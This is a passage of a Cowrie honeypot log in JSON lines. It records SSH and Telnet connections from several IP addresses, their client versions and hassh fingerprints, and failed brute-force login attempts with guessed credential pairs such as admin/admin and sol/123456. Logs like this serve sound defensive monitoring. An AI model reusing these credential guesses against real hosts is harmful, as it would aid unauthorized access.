512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57e4cc8ee36c3d78f75c6a05acd55963","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:23:05.023960Z","src_ip":"64.227.144.233","session":"1105ed0ed486","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"Password","message":"login attempt [test/Password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:23:05.513954Z","src_ip":"64.227.144.233","session":"1105ed0ed486","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:23:06.741404Z","src_ip":"64.227.144.233","session":"1105ed0ed486","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.94.92","src_port":37168,"dst_ip":"159.203.135.109","dst_port":22,"session":"af4a9b99a368","protocol":"ssh","message":"New connection: 159.223.94.92:37168 (159.203.135.109:22) [session: af4a9b99a368]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:23:32.843532Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:23:32.847765Z","src_ip":"159.223.94.92","session":"af4a9b99a368","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:23:33.085604Z","src_ip":"159.223.94.92","session":"af4a9b99a368","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deployer","password":"deploy","message":"login attempt [deployer/deploy] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:23:34.070334Z","src_ip":"159.223.94.92","session":"af4a9b99a368","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:23:35.310301Z","src_ip":"159.223.94.92","session":"af4a9b99a368","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"27.119.7.6","src_port":56886,"dst_ip":"10.17.0.5","dst_port":22,"session":"6f944c0012af","protocol":"ssh","message":"New connection: 27.119.7.6:56886 (10.17.0.5:22) [session: 6f944c0012af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:24:34.414668Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:24:34.418437Z","src_ip":"27.119.7.6","session":"6f944c0012af","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:24:34.602520Z","src_ip":"27.119.7.6","session":"6f944c0012af","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sahil","password":"123","message":"login attempt [sahil/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:24:35.375279Z","src_ip":"27.119.7.6","session":"6f944c0012af","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":52884,"dst_ip":"159.203.135.109","dst_port":22,"session":"1e4ed34e9c0a","protocol":"ssh","message":"New connection: 195.178.110.218:52884 (159.203.135.109:22) [session: 1e4ed34e9c0a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:24:35.966019Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:24:35.970391Z","src_ip":"195.178.110.218","session":"1e4ed34e9c0a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:24:36.049778Z","src_ip":"195.178.110.218","session":"1e4ed34e9c0a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"123456","message":"login attempt [sol/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:24:36.325197Z","src_ip":"195.178.110.218","session":"1e4ed34e9c0a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:24:36.562139Z","src_ip":"27.119.7.6","session":"6f944c0012af","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:24:37.407124Z","src_ip":"195.178.110.218","session":"1e4ed34e9c0a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"198.98.61.65","src_port":52018,"dst_ip":"10.17.0.5","dst_port":23,"session":"d2fd88bff9da","protocol":"telnet","message":"New connection: 198.98.61.65:52018 (10.17.0.5:23) [session: d2fd88bff9da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:24:58.505476Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.94.92","src_port":45120,"dst_ip":"159.203.135.109","dst_port":22,"session":"224d5bab20cd","protocol":"ssh","message":"New connection: 159.223.94.92:45120 (159.203.135.109:22) [session: 224d5bab20cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:25:26.724891Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:25:26.729470Z","src_ip":"159.223.94.92","session":"224d5bab20cd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:25:26.976772Z","src_ip":"159.223.94.92","session":"224d5bab20cd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"User","password":"User@123","message":"login attempt [User/User@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:25:27.988985Z","src_ip":"159.223.94.92","session":"224d5bab20cd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.79.127.249","src_port":49600,"dst_ip":"159.203.135.109","dst_port":22,"session":"9fb50fed3c0e","protocol":"ssh","message":"New connection: 45.79.127.249:49600 (159.203.135.109:22) [session: 9fb50fed3c0e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:25:28.758250Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.1_DEV","message":"Remote SSH version: SSH-2.0-libssh2_1.11.1_DEV","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:25:28.761999Z","src_ip":"45.79.127.249","session":"9fb50fed3c0e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57e4cc8ee36c3d78f75c6a05acd55963","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57e4cc8ee36c3d78f75c6a05acd55963","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:25:28.967260Z","src_ip":"45.79.127.249","session":"9fb50fed3c0e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:25:29.236049Z","src_ip":"159.223.94.92","session":"224d5bab20cd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ursula","password":"ursula","message":"login attempt [ursula/ursula] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:25:29.381814Z","src_ip":"45.79.127.249","session":"9fb50fed3c0e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:25:30.590854Z","src_ip":"45.79.127.249","session":"9fb50fed3c0e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"admin","message":"login attempt [admin/admin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:25:59.275116Z","src_ip":"198.98.61.65","session":"d2fd88bff9da","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":60.77321529388428,"message":"Connection lost after 60 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:25:59.278571Z","src_ip":"198.98.61.65","session":"d2fd88bff9da","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"27.119.7.6","src_port":56544,"dst_ip":"10.17.0.5","dst_port":22,"session":"a9602d5cfacf","protocol":"ssh","message":"New connection: 27.119.7.6:56544 (10.17.0.5:22) [session: a9602d5cfacf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:26:36.501554Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:26:36.577131Z","src_ip":"27.119.7.6","session":"a9602d5cfacf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:26:36.756711Z","src_ip":"27.119.7.6","session":"a9602d5cfacf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bok","password":"1234","message":"login attempt [bok/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:26:37.510436Z","src_ip":"27.119.7.6","session":"a9602d5cfacf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:26:38.697650Z","src_ip":"27.119.7.6","session":"a9602d5cfacf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":44910,"dst_ip":"159.203.135.109","dst_port":22,"session":"6cc3ac05abda","protocol":"ssh","message":"New connection: 195.178.110.218:44910 (159.203.135.109:22) [session: 6cc3ac05abda]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:27:14.613059Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:27:14.617094Z","src_ip":"195.178.110.218","session":"6cc3ac05abda","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:27:14.691791Z","src_ip":"195.178.110.218","session":"6cc3ac05abda","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"12345678","message":"login attempt [sol/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:27:14.916349Z","src_ip":"195.178.110.218","session":"6cc3ac05abda","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:27:15.993228Z","src_ip":"195.178.110.218","session":"6cc3ac05abda","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.94.92","src_port":53072,"dst_ip":"159.203.135.109","dst_port":22,"session":"9729e30ccf1d","protocol":"ssh","message":"New connection: 159.223.94.92:53072 (159.203.135.109:22) [session: 9729e30ccf1d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:27:20.817046Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:27:20.821669Z","src_ip":"159.223.94.92","session":"9729e30ccf1d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:27:21.062232Z","src_ip":"159.223.94.92","session":"9729e30ccf1d","protocol":"ssh"}
